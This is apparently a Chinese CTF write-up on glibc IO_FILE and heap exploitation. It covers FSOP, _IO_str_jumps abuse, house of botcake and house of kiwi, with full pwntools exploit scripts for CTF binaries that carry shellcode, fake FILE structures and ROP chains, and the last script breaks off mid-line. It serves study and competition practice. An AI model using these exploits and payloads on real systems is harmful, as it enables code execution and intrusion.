IO_file 利用总结

WriteUp 9个月前 admin
237 0 0

比赛里常用的一些堆利用技巧,这里做一下分析总结

IO_file 利用总结

关于IO

一些gdb里用到的命令

p *(struct _IO_FILE_plus*)addrfp addr

首先是一般IO的结构

//_IO_FILE_plustypedef struct _IO_FILE FILE;//glibc/libio/bits/types/FILE.hstruct _IO_FILE_plus{  FILE file;  const struct _IO_jump_t *vtable;//虚函数表};
struct _IO_FILE//glibc/libio/bits/libio.h{    int _flags;  /* High-order word is _IO_MAGIC; rest is flags. */
   /* The following pointers correspond to the C++ streambuf protocol. */    char *_IO_read_ptr;        /* Current read pointer 输入缓冲区的当前地址*/    char *_IO_read_end;      /* End of get area. 输入缓冲区的结束地址*/    char *_IO_read_base;    /* Start of puback+get area. 输入缓冲区的起始地址*/    char *_IO_write_base;   /* Start of put area. 输出缓冲区的起始地址*/    char *_IO_write_ptr;      /* Current put pointer. 输出缓冲区的当前地址*/    char *_IO_write_end;    /* End of put area. 输出缓冲区的结束地址*/    char *_IO_buf_base;     /* Start of reserve area. 输入输出缓冲区的起始地址*/    char *_IO_buf_end;      /* End of reserve area. 输入输出缓冲区的结束地址*/    /* The following fields are used to support backing up and undo. */    char *_IO_save_base;           /* Pointer to start of non-current get area. */    char *_IO_backup_base;      /* Pointer to first valid character of backup area. */    char *_IO_save_end;            /* Pointer to end of non-current get area. */    ......    struct _IO_FILE *_chain;//指向下一个_IO_FILE结构体的指针    int _fileno;    ......    int _flags2;    ......#ifdef _IO_USE_OLD_IO_FILE//是一个内部宏,没有这一块就会拓展结构体,初始的三个结构体都是扩展后的(从_lock之后到vtable之前的字段均为扩展后的)};
struct _IO_FILE_complete{    struct _IO_FILE _file;#endif    ......    size_t __pad5;    int _mode;    char _unused2[15 * sizeof(int) - 4 * sizeof(void*) - sizeof(size_t)];};
struct _IO_jump_t{    JUMP_FIELD(size_t, __dummy);    JUMP_FIELD(size_t, __dummy2);    JUMP_FIELD(_IO_finish_t, __finish);    JUMP_FIELD(_IO_overflow_t, __overflow);    JUMP_FIELD(_IO_underflow_t, __underflow);    JUMP_FIELD(_IO_underflow_t, __uflow);    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);    /* showmany */    JUMP_FIELD(_IO_xsputn_t, __xsputn);    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);    JUMP_FIELD(_IO_seekoff_t, __seekoff);    JUMP_FIELD(_IO_seekpos_t, __seekpos);    JUMP_FIELD(_IO_setbuf_t, __setbuf);    JUMP_FIELD(_IO_sync_t, __sync);    JUMP_FIELD(_IO_doallocate_t, __doallocate);    JUMP_FIELD(_IO_read_t, __read);    JUMP_FIELD(_IO_write_t, __write);    JUMP_FIELD(_IO_seek_t, __seek);    JUMP_FIELD(_IO_close_t, __close);    JUMP_FIELD(_IO_stat_t, __stat);    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);    JUMP_FIELD(_IO_imbue_t, __imbue);#if 0    get_column;    set_column;#endif};

其中flag字段的定义如下,一般在劫持stdout中会遇到,通常伪造为0xfbad1800

//glibc/libio/libio.h/* Magic number and bits for the _flags field.  The magic number is   mostly vestigial, but preserved for compatibility.  It occupies the   high 16 bits of _flags; the low 16 bits are actual flag bits.  */#define _IO_MAGIC         0xFBAD0000 /* Magic number */#define _IO_MAGIC_MASK    0xFFFF0000#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */#define _IO_UNBUFFERED        0x0002#define _IO_NO_READS          0x0004 /* Reading not allowed.  */#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */#define _IO_EOF_SEEN          0x0010#define _IO_ERR_SEEN          0x0020#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */#define _IO_LINKED            0x0080 /* In the list of all open files.  */#define _IO_IN_BACKUP         0x0100#define _IO_LINE_BUF          0x0200#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */#define _IO_CURRENTLY_PUTTING 0x0800#define _IO_IS_APPENDING      0x1000#define _IO_IS_FILEBUF        0x2000                           /* 0x4000  No longer used, reserved for compat.  */#define _IO_USER_LOCK         0x8000

IO_FILE中各字段的长度如下

_IO_FILE_plus_size = {    'i386':0x98,    'amd64':0xe0}_IO_FILE_plus = {    'i386':{        0x0:'_flags',        0x4:'_IO_read_ptr',        0x8:'_IO_read_end',        0xc:'_IO_read_base',        0x10:'_IO_write_base',        0x14:'_IO_write_ptr',        0x18:'_IO_write_end',        0x1c:'_IO_buf_base',        0x20:'_IO_buf_end',        0x24:'_IO_save_base',        0x28:'_IO_backup_base',        0x2c:'_IO_save_end',        0x30:'_markers',        0x34:'_chain',        0x38:'_fileno',        0x3c:'_flags2',        0x40:'_old_offset',        0x44:'_cur_column',        0x46:'_vtable_offset',        0x47:'_shortbuf',        0x48:'_lock',        0x4c:'_offset',        0x54:'_codecvt',        0x58:'_wide_data',        0x5c:'_freeres_list',        0x60:'_freeres_buf',        0x64:'__pad5',        0x68:'_mode',        0x6c:'_unused2',        0x94:'vtable'    },
   'amd64':{        0x0:'_flags',        0x8:'_IO_read_ptr',        0x10:'_IO_read_end',        0x18:'_IO_read_base',        0x20:'_IO_write_base',        0x28:'_IO_write_ptr',        0x30:'_IO_write_end',        0x38:'_IO_buf_base',        0x40:'_IO_buf_end',        0x48:'_IO_save_base',        0x50:'_IO_backup_base',        0x58:'_IO_save_end',        0x60:'_markers',        0x68:'_chain',        0x70:'_fileno',        0x74:'_flags2',        0x78:'_old_offset',        0x80:'_cur_column',        0x82:'_vtable_offset',        0x83:'_shortbuf',        0x88:'_lock',        0x90:'_offset',        0x98:'_codecvt',        0xa0:'_wide_data',        0xa8:'_freeres_list',        0xb0:'_freeres_buf',        0xb8:'__pad5',        0xc0:'_mode',        0xc4:'_unused2',        0xd8:'vtable'    }}

在gilbc/libio/libioP.h中有如下声明

extern struct _IO_FILE_plus *_IO_list_all;

该变量为一个单链表的头结点

该单链表用于管理程序中所有的FILE结构体

并通过_chain字段索引下一个FILE结构体,每个程序中该链表的最后3个节点从后往前固定为_IO_2_1_stdin、_IO_2_1_stdout、_IO_2_1_stderr,之前是用户新申请的FILE结构体,每次新申请的FILE**结构体会插在该链表的表头。


这里其实涉及到一个FSOP的利用,通过伪造关于_IO_list_all的指针从而伪造IO结构体

IO_file 利用总结

上边都是定义,接下来我们gdb看看具体的例子

pwndbg> p/x _IO_2_1_stderr_$2 = {  file = {    _flags = 0xfbad2087,    _IO_read_ptr = 0x7fde482f7643,    _IO_read_end = 0x7fde482f7643,    _IO_read_base = 0x7fde482f7643,    _IO_write_base = 0x7fde482f7643,    _IO_write_ptr = 0x7fde482f7643,    _IO_write_end = 0x7fde482f7643,    _IO_buf_base = 0x7fde482f7643,    _IO_buf_end = 0x7fde482f7644,    _IO_save_base = 0x0,    _IO_backup_base = 0x0,    _IO_save_end = 0x0,    _markers = 0x0,    _chain = 0x7fde482f76a0,//_IO_2_1_stdout    _fileno = 0x2,    _flags2 = 0x0,    _old_offset = 0xffffffffffffffff,    _cur_column = 0x0,    _vtable_offset = 0x0,    _shortbuf = {0x0},    _lock = 0x7fde482f94b0,    _offset = 0xffffffffffffffff,    _codecvt = 0x0,    _wide_data = 0x7fde482f6780,    _freeres_list = 0x0,    _freeres_buf = 0x0,    __pad5 = 0x0,    _mode = 0x0,    _unused2 = {0x0 <repeats 20 times>}  },  vtable = 0x7fde482f84a0//_IO_file_jumps}
pwndbg> p/x *_IO_2_1_stderr_.vtable$4 = {  __dummy = 0x0,  __dummy2 = 0x0,  __finish = 0x7fde4819e0d0,//FSOP2.27  __overflow = 0x7fde4819ef00,//FSOP  __underflow = 0x7fde4819eba0,  __uflow = 0x7fde481a00d0,  __pbackfail = 0x7fde481a1800,  __xsputn = 0x7fde4819d750,house of emma  __xsgetn = 0x7fde4819d3c0,  __seekoff = 0x7fde4819c9e0,//house of cat  __seekpos = 0x7fde481a0780,  __setbuf = 0x7fde4819c6b0,  __sync = 0x7fde4819c540,//house of kiwi  __doallocate = 0x7fde4818fdf0,  __read = 0x7fde4819d720,  __write = 0x7fde4819cfe0,  __seek = 0x7fde4819c780,  __close = 0x7fde4819c6a0,  __stat = 0x7fde4819cfc0,  __showmanyc = 0x7fde481a1990,  __imbue = 0x7fde481a19a0}

当我们调用stdin相关IO函数调用函数指针时就会从stdin的vtable里面查找相关的函数指针。

比如_IO_OVERFLOW就会引索stdin的vtable到__overflow = 0x7fde4819ef00。


下面介绍2种除了了Largebinattack以外IO利用中常用的堆利用技巧

IO_file 利用总结

01

fastbin reverse into tcache

01

利用:简单来说就是把fastbin填满的同时,让tcache为空。修改fastbin尾节点的fd到目标地址。


02

触发:申请一个该大小的堆,fastbin就会由头至尾放入tcache,可以在目标地址写入一个堆地址

2.33及以上:开始会有对齐检测,而写入操作会写入0x10的内容[堆地址,tcache_struct+0x10],写入一个tcache_struct+0x10


03

技巧杂谈

这个方法往往需要14个以上的堆序号

如果改count为7直接来填充fastbin,为了绕过doublefree检测,需要能申请很多个不同的chunk。在题目中往往申请的堆数量受到idx限制,这时候可以考虑控制到tcache_struct来实现申请绕过tcache,del不绕过tcache,再申请不绕过tcache,del绕过tcache。这样在UAF的情况下,只用一个idx即可实现布置


IO_file 利用总结
IO_file 利用总结

02

tcache_stashing_unlink

利用手法:

1.tcache中放5个chunk,smallbin中放两个

2.将smallbin中倒数第二个chunk的bk改成&target-0x10,这里注意不能破坏fd指针,同时将&target+8处设置成一个指针,且指向可写内存区域

3.从smallbin中取出一个chunk,目标地址就会被链入tcache中


技巧杂谈:

&target+8处设置成一个指针

这里往往可以利用上Largebinattack

IO_file 利用总结

03

house of botcake(UAF)

主要在申请小于0x400size的堆块时可以使用的堆复用技巧,也通常用于没有edit的情况


从glibc 2.29开始tcache增加了key字段,一般来说我们需要覆盖掉key字段,才能进行double free操作。


house of botcake借用unsortbin来避免key字段实现doublefree堆复用(如果只是实现堆复用不去利用unsortbin上的libc地址,也可以借用fastbin)。


具体操作就是在填满 tcache 之后,再连续释放两个相邻的堆块使其合并(单个堆块会导致unsortbin双向链表损坏,从而导致无法申请unsortbin里的堆块,这里起到一个隔断作用)放到 unsorted bin 里,然后从tcache 中申请出一个堆块,再释放合并堆块下半部分堆块。那么这个下半部分chunk既出现在tcache里,又出现在unsorted bin里。 再通过错位切割直接申请unsortbin,就能控制tcache

IO_file 利用总结
IO_file 利用总结

技巧杂谈及适用条件

这种技巧通常用在没有泄露地址时,通过利用unsortbin上的地址实现爆破,特别是没有show功能时

由于要利用到堆自然合并以及tcache,可申请的size就不能在fastbin范围,要在tcache范围<0x420,同时2.27往上

错位切割是一种可以优先于tcache先申请unsortbin的方法,同时也能残留下unsortbin的地址

IO_file 利用总结

在IO利用开始之前

伪造IO结构体之前,往往要覆盖掉IO_list_all,或者chain字段,要实现地址写


如果只能写入堆地址,那就可以在堆上伪造IO结构体了


但如果能实现任意地址写入,在exit这样栈返回的触发情况下,我们可以考虑去控制栈上的ret指针来实现rop


libc.sym[‘environ’]中存放着栈地址,只需要加上偏移就能得到栈上ret指针的地址


或者劫持link_map结构体改程序基地址,也是一种利用思路

IO_file 利用总结

FSOP

利用链:

exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->_IO_overflow

FSOP是用来控制程序执行流的

FSOP主要利用了 _IO_flush_all_lockp 函数,该函数的功能是刷新所有FILE结构体的输出缓冲区

int _IO_flush_all_lockp (int do_lock){  int result = 0;  struct _IO_FILE *fp;
#ifdef _IO_MTSAFE_IO  _IO_cleanup_region_start_noarg (flush_cleanup);  _IO_lock_lock (list_all_lock);#endif//遍历 _IO_list_all  for (fp = (_IO_FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)    {      run_fp = fp;      if (do_lock)    _IO_flockfile (fp);
     if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)       || (_IO_vtable_offset (fp) == 0           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr                    > fp->_wide_data->_IO_write_base))       )      && _IO_OVERFLOW (fp, EOF) == EOF)    //如果输出缓冲区有数据,刷新输出缓冲区    result = EOF;
     if (do_lock)    _IO_funlockfile (fp);      run_fp = NULL;    }
#ifdef _IO_MTSAFE_IO  _IO_lock_unlock (list_all_lock);  _IO_cleanup_region_end (0);#endif
 return result;}

调用_IO_flush_all_lockp主要有三个时机:

  1. libc执行abort函数时(内存错误)

  2. 程序显式调用 exit 函数时

  3. 程序从main函数返回时

利用杂谈

fsop更像是一种工具

在2.31以下的版本都是首选,即便是之前的版本,2.23和2.27还是有些区别


通常的打法

方案一:劫持IO_list_all写上堆地址,然后伪造IO结构体,exit触发

触发的话,也可申请到不能申请的地址触发报错

IO_file 利用总结

01

baby_arena_BCTF2018

(libc2.23/global_max_fast任意地址写利用)

IO_file 利用总结

漏洞点有2个,一个UAF

IO_file 利用总结

另一个是这里的溢出

导致可以往任意地址写入一个admin

IO_file 利用总结

这里主要利用了一个修改

global_max_fast的方式来劫持IO_list_all

这里利用global_max_fast实现任意地址写的mallocsize主要如下计算

def offset2size(offset):    assert offset % 8 == 0    return (offset * 2) + 0x10 pwndbg> p &main_arena.fastbinsY$5 = (mfastbinptr (*)[10]) 0x7f8a7d7b0b28 <main_arena+8>pwndbg> p &_IO_list_all$6 = (struct _IO_FILE_plus **) 0x7f8a7d7b1520 <_IO_list_all>pwndbg> p/x 0x7f8a7d7b1520-0x7f8a7d7b0b28$7 = 0x9f8pwndbg> p/x 2*0x9f8+0x10$8 = 0x1400

然后就是一个触发的问题

这里我们改了fastbin的范围

导致malloc时申请了不可申请的区域

触发_IO_flush_all_lockp

//这里只需要绕过整个判断即可执行_IO_OVERFLOWfp->_mode <= 0fp->_IO_write_ptr > fp->_IO_write_base# _*_ coding:utf-8 _*_from pwn import *context(arch='amd64', os='linux')context.log_level = 'debug'
p = process('./baby_arena')elf = ELF("./baby_arena")libc = elf.libcdef dbg():    gdb.attach(p)
#-----------------------------------------------------------------------------------------s       = lambda data               :p.send(str(data))sa      = lambda text,data          :p.sendafter(text, str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda text,data          :p.sendlineafter(text, str(data))r       = lambda num=4096           :p.recv(num)ru      = lambda text               :p.recvuntil(text)uu32    = lambda                    :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))uu64    = lambda                    :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"#https://www.exploit-db.com/shellcodes#-----------------------------------------------------------------------------------------
user = 0x6020B0
def add(size,con):    sla("4.exit",1)    sla("Pls Input your note size",size)    p.sendlineafter("Input your note",con)
def dele(idx):    sla("4.exit",2)    sla("Input id:",idx)
def login(name,user):    sla("4.exit",3)    p.sendafter("Please input your name",name)    sla("1.admin",user)
# dbg()add(0x300,'e4l4')add(0x1400,'e4l4')dele(0)add(0x300,'')p.recvuntil("your note is")libc_base = uu64()-0x3c4b78lg("libc_base")# p/x &global_max_fastone_gadget = libc_base + 0xf1247Global_max_fast = libc_base + 0x3c67f8IO_list_all = libc_base + libc.sym['_IO_list_all']    login(p64(one_gadget) + p64(Global_max_fast-8),1)
dele(1)fake_IO_FILE  = p64(0xFBAD1800) + p64(0)*3fake_IO_FILE += p64(0) + p64(1)#satisfy write_base < write_ptrfake_IO_FILE = fake_IO_FILE.ljust(0xC0,'x00')fake_IO_FILE += p64(0) + p64(0)*2fake_IO_FILE += p64(0x6020B0 - 0x18)
add(0x1400,fake_IO_FILE[0x10:])dele(1)
sla('exit','1')sla('size',0x100)
# dbg()p.interactive()

2.27下有如下利用

_IO_str_finish的利用

利用链

fsop->_IO_str_finish

这种方法主要利用的是

_IO_str_jumps这张vtable表

来绕过对表位置的检测

void _IO_str_finish (_IO_FILE *fp, int dummy){  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);  fp->_IO_buf_base = NULL;
 _IO_default_finish (fp, 0);}

这里仍然需要构造好条件

因为最后我们是要模拟触发_IO_OVERFLOW。

//绕过条件fp->_mode <= 0 fp->_IO_write_ptr > fp->_IO_write_base
fp->vtable = _IO_str_jumps_addrfp->_flags & _IO_USER_BUF = 0 // 最低位没有 1
fp->_IO_buf_base != 0 ==> fp->_IO_buf_base = binsh_addr                          fp->_s._free_buffer = system_addr
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
# 模板def FILE(binsh,system,IO_str_jumps):    fake_IO_FILE  = p64(0xfbad1800) + p64(0)*3    fake_IO_FILE += p64(0) + p64(1) # fp->_IO_write_ptr > fp->_IO_write_base    fake_IO_FILE += p64(0) + p64(binsh)    fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'x00')    fake_IO_FILE += p64(0) + p64(0)*2  # _mode <= 0    fake_IO_FILE += p64(IO_str_jumps-8)    fake_IO_FILE += p64(0) + p64(system)# 0xe8    return fake_IO_FILE
fake_IO = FILE(sh_addr,system_addr,_IO_str_jumps)

_IO_str_overflow的利用(其一)

利用链

FSOP->_IO_str_overflow
#define _IO_CURRENTLY_PUTTING 0x800#define _IO_USER_BUF 1int _IO_str_overflow (_IO_FILE *fp, int c){  int flush_only = c == EOF;  _IO_size_t pos;      if (fp->_flags & _IO_NO_WRITES)      return flush_only ? 0 : EOF;      if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))    {      fp->_flags |= _IO_CURRENTLY_PUTTING;//二进制表示的 _flags 倒数第三位不能为1 。0xfbad1800      fp->_IO_write_ptr = fp->_IO_read_ptr;      fp->_IO_read_ptr = fp->_IO_read_end;    }      pos = fp->_IO_write_ptr - fp->_IO_write_base;  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))//0xfbad1800    {      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */    return EOF;      else    {      char *new_buf;      char *old_buf = fp->_IO_buf_base;      size_t old_blen = _IO_blen (fp);      _IO_size_t new_size = 2 * old_blen + 100;//(binsh_addr−100)//2      if (new_size < old_blen)        return EOF;      new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//利用点====================================================================================================      if (new_buf == NULL)        {          /*    __ferror(fp) = 1; */          return EOF;        }      if (old_buf)        {          memcpy (new_buf, old_buf, old_blen);          (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);          /* Make sure _IO_setb won't try to delete _IO_buf_base. */          fp->_IO_buf_base = NULL;        }      memset (new_buf + old_blen, '', new_size - old_blen);
     _IO_setb (fp, new_buf, new_buf + new_size, 1);      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
     fp->_IO_write_base = new_buf;      fp->_IO_write_end = fp->_IO_buf_end;    }    }
 if (!flush_only)    *fp->_IO_write_ptr++ = (unsigned char) c;  if (fp->_IO_write_ptr > fp->_IO_read_end)    fp->_IO_read_end = fp->_IO_write_ptr;  return c;}libc_hidden_def (_IO_str_overflow)
//绕过条件fp->_mode <= 0  fp->_IO_write_ptr > fp->_IO_write_base  
fp->_flags = 0fp->_IO_write_ptr = 0xfffffffffffffffffp->_s._allocate_buffer = system_addrfp->_IO_buf_base = 0fp->_IO_buf_end = (binsh_addr-100)//2
def FILE(binsh,system,IO_str_jumps):    fake_IO_FILE  = p64(0xfbad1800) + p64(0)*3    fake_IO_FILE += p64(0) + p64(0xffffffffffffffff) # fp->_IO_write_ptr > fp->_IO_write_base; pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)    fake_IO_FILE += p64(0)*2 + p64((binsh-100)//2)    fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'x00')    fake_IO_FILE += p64(0) + p64(0)*2  # _mode <= 0    fake_IO_FILE += p64(IO_str_jumps)    fake_IO_FILE += p64(system) # 0xe0 _s._allocate_buffer    return fake_IO_FILE

baby_arena_BCTF2018

(libc2.27/global_max_fast任意地址写利用)

2.27下新增了对vtable位置的检测

主要考虑使用原生vtable进行修改

同样的题,版本不一样

这里system(“/bin/sh”)getshell

申请的size大小有所区别

这里用显式exit触发_IO_flush_all_lockp

IO_file 利用总结
# _*_ coding:utf-8 _*_from pwn import *context(arch='amd64', os='linux')context.log_level = 'debug'
p = process('./baby_arena')elf = ELF("./baby_arena")libc = elf.libcdef dbg():    gdb.attach(p)
#-----------------------------------------------------------------------------------------s       = lambda data               :p.send(str(data))sa      = lambda text,data          :p.sendafter(text, str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda text,data          :p.sendlineafter(text, str(data))r       = lambda num=4096           :p.recv(num)ru      = lambda text               :p.recvuntil(text)uu32    = lambda                    :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))uu64    = lambda                    :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"#https://www.exploit-db.com/shellcodes#-----------------------------------------------------------------------------------------
user = 0x6020B0
def add(size,con):    sla("4.exit",1)    sla("Pls Input your note size",size)    p.sendlineafter("Input your note",con)
def dele(idx):    sla("4.exit",2)    sla("Input id:",idx)
def login(name,user):    sla("4.exit",3)    p.sendafter("Please input your name",name)    sla("1.admin",user)
# dbg()add(0x418,'e4l4')add(0x1430,'e4l4')
dele(0)add(0x418,'')p.recvuntil("your note is")libc_base = uu64()-0x3ebca0lg("libc_base")
# p/x &global_max_fastsh_addr = libc_base+libc.search('/bin/sh').next()system_addr = libc_base + libc.sym['system']Global_max_fast = libc_base + 0x3ed940IO_list_all = libc_base + libc.sym['_IO_list_all']IO_str_jumps = libc_base + 0x3e8360login(p64(system_addr) + p64(Global_max_fast-8),1)
dele(0)add(0x418,'a'*0x410+p64(0))
# dbg()dele(1)
# 0x7fa0d6e7d660-0x7fa0d6e7cc50def FILE(binsh,system,IO_str_jumps):    fake_IO_FILE  = p64(0xfbad1800) + p64(0)*3    fake_IO_FILE += p64(0) + p64(0xffffffffffffffff) # fp->_IO_write_ptr > fp->_IO_write_base; pos = fp->_IO_write_ptr - fp->_IO_write_base >= (_IO_size_t) (_IO_blen (fp) + flush_only)    fake_IO_FILE += p64(0)*2 + p64((binsh-100)//2)    fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'x00')    fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2  # _mode <= 0    fake_IO_FILE += p64(IO_str_jumps)    fake_IO_FILE += p64(system) # 0xe0 _s._allocate_buffer    return fake_IO_FILE
fake_IO = FILE(sh_addr,system_addr,IO_str_jumps)add(0x1430,fake_IO[0x10:])dele(1)
sla('exit','4')
p.interactive()
IO_file 利用总结

house of kiwi

利用链

__malloc_assert->fflush->_IO_file_sync(rdx == IO_helper_jumps)

适用情况

高版本的沙盒绕过

禁用free_hook和malloc_hook(2.34以上)

exit函数替换成_exit函数

(导致最终结束的时候进行syscall来结束,并没有机会调用_IO_cleanup不走刷新流)

技巧杂谈

核心是利用stderr错误流,不需要伪造整个结构体,主要是改2个位置,也就是说只要有任意地址写即可


方案一:

一个是IO_file_jumps+0x60(要执行的函数)

一个是IO_helper_jumps+0xa0(写上rop链地址)


方案二:

一个是IO_file_jumps+0x60(要执行的函数)

一个IO_2_1_stderr(作为rdi),system(/bin/sh)


触发利用错误流:

__malloc_assert断言,当topchunksize不足以分配malloc所需大小时触发

NULL_FxCK(offbynull/sandbox/libc2.32)

题目是NepCTF2021年中NULL_FxCK

IO_file 利用总结
IO_file 利用总结

2.32的版本,tcache已经有异或key了

漏洞点在edit时有offbynull,且edit只能执行一次

IO_file 利用总结

在菜单后执行一个check函数

实现了一些禁用,heapinfo存放的是堆基地址

IO_file 利用总结

GLIBC 2.32/malloc.c:288

这里存在一个fflush(stderr)的函数调用

其中会调用_IO_file_jumps中的sync指针

# __malloc_assertstatic void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function){(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.n",           __progname, __progname[0] ? ": " : "",           file, line,           function ? function : "", function ? ": " : "",           assertion);fflush (stderr);abort ();}

进入assert后

跟进调试可以发现在fflush函数中调用到了一个指针:

位于_IO_file_jumps中的_IO_file_sync指针

在这个函数里第三个参数为IO_helper_jumps指针

其值为固定值

IO_file 利用总结
IO_file 利用总结

我们使用方案一

修改 _IO_file_jumps + 0x60的_IO_file_sync指针为setcontext+61

修改IO_helper_jumps + 0xA0 and 0xA8分别为可迁移的存放有ROP的位置和ret指令的gadget位置,则可以进行栈迁移orw

IO_file 利用总结

这里借用fmyy师傅的exp,写一点注释

这道题主要的思路是利用largebinatttack任意地址写

去打线程中存放tcache_struct地址的位置

劫持tcache_struct,达到任意地址写的目的

再结合assert断言触发payload

# _*_ coding:utf-8 _*_from pwn import *context(arch='amd64', os='linux', log_level='debug')
p = process('./fcvk')elf = ELF("./fcvk")libc = elf.libc
def dbg():    gdb.attach(p)    pause()
#-----------------------------------------------------------------------------------------s       = lambda data               :p.send(str(data))sa      = lambda text,data          :p.sendafter(text, str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda text,data          :p.sendlineafter(text, str(data))r       = lambda num=4096           :p.recv(num)ru      = lambda text               :p.recvuntil(text)uu32    = lambda                    :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))uu64    = lambda                    :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"#https://www.exploit-db.com/shellcodes#-----------------------------------------------------------------------------------------
def menu(ch):    p.sendlineafter('>> ',str(ch))def New(size,content):    menu(1)    p.sendlineafter('Size: ',str(size))    p.sendafter('Content: ',content)def Modify(index,content):    menu(2)    p.sendlineafter('Index: ',str(index))    p.sendafter('Content: ',content)def Show(index):    menu(4)    p.sendlineafter('Index: ',str(index))def Free(index):    menu(3)    p.sendlineafter('Index: ',str(index))
ptr = 0x4160while True:    p = process("./fcvk")    try:        #高版本的offbynull堆合并用于泄露地址和堆复用,add时编辑的内容最后一字节会置零这里要爆破        New(0x2000,'FMYY')# 0        New(0x1000,'FMYY')# 1 用于srop        New(0x2000 - 0x2F0 - 0x600,'FMYY')# 2 填地址使chunk2地址对齐000                New(0x4F0,'FMYY') # 3 chunk1        New(0x108,'FMYY') # 4        New(0x500,'FMYY') # 5 chunk2        New(0x108,'FMYY') # 6        New(0x108,'FMYY') # 7        New(0x108,'FMYY') # 8        New(0x510,'FMYY') # 9 chunk3        New(0x108,'FMYY') # 10        New(0x4F0,'FMYY') # 11 chunk4        New(0x108,'FMYY') # 12
       # 设置fakechunk fd and bk 以及 chunk1 bk        Free(3)        Free(5)        Free(9)        New(0x2000,'FMYY')#3        Free(3)        New(0x500,'x00'*8 + p64(0xE61)) # 3 chunk2 set fakechunk_size        New(0x4F0,'x00'*8+ 'x10x00') # 5 chunk1
       # 设置chunk3 fd        Free(11)        New(0x800,'FMYY') # 9 put in largebin        Free(9)        New(0x510,'x10x00') #9 chunk3        New(0x4F0,'x00'*0x20) #11 chunk4                # 设置prev_size位        Modify(10,'x00'*0x100 + p64(0xE60))        Free(11)        New(0x4F0,'FMYY') #11  to split the unsorted bin chunk        New(0x1000,'FMYY') # 12 put in largebin        Show(6)# 堆复用unsrtbin-6        libc_base = u64(p.recvuntil('x7F')[-6:].ljust(8,'x00')) - 1648 - 0x10 - libc.sym['__malloc_hook']        lg("libc_base")        Show(9)# chunk3        heap_base = u64(p.recv(6).ljust(8,'x00')) - 0x49F0        lg("heap_base")                ############################准备一些变量        SROP_address = heap_base + 0x79F0        magic = libc_base + 0x1EB538 # 存放tcache_struct地址的位置        main_arena = libc_base + libc.sym['__malloc_hook'] + 0x10        pop_rdi_ret = libc_base + 0x000000000002858F        pop_rdx_r12 = libc_base + 0x0000000000114161        pop_rsi_ret = libc_base + 0x000000000002AC3F        pop_rax_ret = libc_base + 0x0000000000045580        syscall_ret = libc_base + 0x00000000000611EA        malloc_hook = libc_base + libc.sym['__malloc_hook']        Open = libc_base + libc.sym["open"]        Read = libc_base + libc.sym["read"]        Write = libc_base + libc.sym['write']        IO_helper_jumps = libc_base + 0x1E38C0        # p &_IO_helper_jumps        # p &_IO_file_jumps # +0x60                frame = SigreturnFrame()        frame.rsp = heap_base + 0x7A90 + 0x58 # orw_addr        frame.rip = pop_rdi_ret + 1 #ret                orw  = ''# 写在最下方        orw += p64(pop_rax_ret) + p64(2)        orw += p64(pop_rdi_ret)+p64(heap_base + 0x7B78)# flag        orw += 